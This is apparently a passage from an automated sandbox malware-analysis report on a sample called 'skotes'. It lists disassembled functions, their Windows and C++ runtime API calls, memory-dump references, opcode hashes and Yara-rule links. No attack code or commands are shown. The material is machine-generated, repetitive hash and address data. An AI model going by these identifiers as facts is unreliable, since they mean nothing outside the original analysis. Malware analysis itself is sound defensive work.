                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1279760036-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 491d1151503bb7eaeb0570cf42fca97ff5163edca314c81feb51bfed210d3138
                                                                                                                                                                                                                                                                                    • Instruction ID: c063257c9516c0f6242224682e2d103cceaf53f2916549fc112f55cd57e56af8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 491d1151503bb7eaeb0570cf42fca97ff5163edca314c81feb51bfed210d3138
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7CE0923514922696EB3136B58CC1B6FB668DF523F0F261220FD24961D0EB21DF008FE4
                                                                                                                                                                                                                                                                                    Function 00191775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32(00000000,00000000,?,00191B65,?,?,00000000,?,00191B65,00000000,0000000C), ref: 00191792
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 823142352-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5d22bd3115571f5240484ffbf78d40d328727d95ced17e9489b93f093b85d3b2
                                                                                                                                                                                                                                                                                    • Instruction ID: e50654967ff1119d37a23def3629bec41580355c64d75955c3bdb2fbe536f581
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5d22bd3115571f5240484ffbf78d40d328727d95ced17e9489b93f093b85d3b2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3FD0923204020DBBDF129E85DC02EDA7BAAFB48714F014100FE5866020C732E831AB94
                                                                                                                                                                                                                                                                                    Function 04CB0B5D Relevance: .1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 423d25fd128c3ffb18850998302016ef8a679ff8f35f7b1dd52c8eed8305082f
                                                                                                                                                                                                                                                                                    • Instruction ID: ddb7a5eae15cb2bab0e28937ca246ef8ab1737c86abaeb2c7a51a86f21002cdc
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 423d25fd128c3ffb18850998302016ef8a679ff8f35f7b1dd52c8eed8305082f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C3F090EB34D115BC204340471F59EFB6A1FE1D1730F388526B89BCA652F394AA5970F2
                                                                                                                                                                                                                                                                                    Function 04CB0C49 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: b7ae3e836ad5b173b4e278f0d90fca3587313727303a000f74371692bda1f4b9
                                                                                                                                                                                                                                                                                    • Instruction ID: 168a29ed8c0f5c636cd478f5c8d5e8d15a4203f8108f3277928fe1e0cd22ecaa
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b7ae3e836ad5b173b4e278f0d90fca3587313727303a000f74371692bda1f4b9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83F0246A24C120DE9203842357155FB2A66E566331B388021F8C3CA340F3543A44B1E3
                                                                                                                                                                                                                                                                                    Function 04CB0CAC Relevance: .0, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: b021980e492fb0e959846e9980c4e21b17dbc041a679501f5e166c07f2cc1613
                                                                                                                                                                                                                                                                                    • Instruction ID: 4f64c176fbebfd62a17f6c6767ad7d1780d185c4cd10ac22cd42c35a0d21ffab
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b021980e492fb0e959846e9980c4e21b17dbc041a679501f5e166c07f2cc1613
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A2F027A730C231DF56479863A6061FB365BA666320B388222F8C2DA241F3047945B0E3
                                                                                                                                                                                                                                                                                    Function 04CB0C32 Relevance: .0, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 1b624dbd57ae127bea010b8b091fe7bedafed4361b39af960280bcf17623ed98
                                                                                                                                                                                                                                                                                    • Instruction ID: 994e26197e4f6803431abf7e27bffee3001d43cf3ac77b28fa6214b402c1e32b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1b624dbd57ae127bea010b8b091fe7bedafed4361b39af960280bcf17623ed98
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 15E0E5A730D220EE714380632B065FB2A5FE185670B388226B8C3C5645F3883B5970F3
                                                                                                                                                                                                                                                                                    Function 04CB0C8E Relevance: .0, Instructions: 33COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: f10a19577427b1c882e10a918a38e3e5c840e942e969fb1bb39d8ff5f431b0a8
                                                                                                                                                                                                                                                                                    • Instruction ID: 3b544cf10fff9717d4c7248d2d90e5f2c6256b33732cda2e19bd23e9bccc04cc
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f10a19577427b1c882e10a918a38e3e5c840e942e969fb1bb39d8ff5f431b0a8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 27E0209A709114DED00214536A016F7276EA355710B748225F4C3965C0F3553A45A1D1
                                                                                                                                                                                                                                                                                    Function 04CB0C71 Relevance: .0, Instructions: 31COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2948792772.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_4cb0000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 563e2c4221eb4f9ce70b91684e3d4aa88f0ea8dcdee414159ef35533aaffb8b9
                                                                                                                                                                                                                                                                                    • Instruction ID: 5d0de710eaccd426ba80e723ca5a35117be6dc50c1ae54373a29477ec3c89743
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 563e2c4221eb4f9ce70b91684e3d4aa88f0ea8dcdee414159ef35533aaffb8b9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 98E0209730C114DF5142446356065F7255FE297260B3C8126BCC3D9744F2087D54B1E3

                                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                                    Function 00170E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00170F16
                                                                                                                                                                                                                                                                                    • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00170F62
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00172750
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00170FCE
                                                                                                                                                                                                                                                                                    • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00170FEA
                                                                                                                                                                                                                                                                                    • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0017103E
                                                                                                                                                                                                                                                                                    • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0017106B
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001710C1
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
                                                                                                                                                                                                                                                                                    • String ID: (
                                                                                                                                                                                                                                                                                    • API String ID: 2943730970-3887548279
                                                                                                                                                                                                                                                                                    • Opcode ID: 2072ed72ea5428e3d6f4e8c60ad40c97abfd042badc53ac798a6fad4f0a69898
                                                                                                                                                                                                                                                                                    • Instruction ID: 5b460e02d9507e73a29acfc754715213ccb549e31a8abec7d8a5f317e6f02269
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2072ed72ea5428e3d6f4e8c60ad40c97abfd042badc53ac798a6fad4f0a69898
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D9B16EB1A00615EFDB29CF68D991B7AB7B5FF48300F15816EE909AB741D730AD81CB90
                                                                                                                                                                                                                                                                                    Function 00171602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00172CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00172D0F
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00171614
                                                                                                                                                                                                                                                                                      • Part of subcall function 00172E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00172E39
                                                                                                                                                                                                                                                                                      • Part of subcall function 00172E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00172EA8
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00171746
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001717A6
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001717B2
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001717ED
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0017180E
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0017181A
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00171823
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0017183B
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
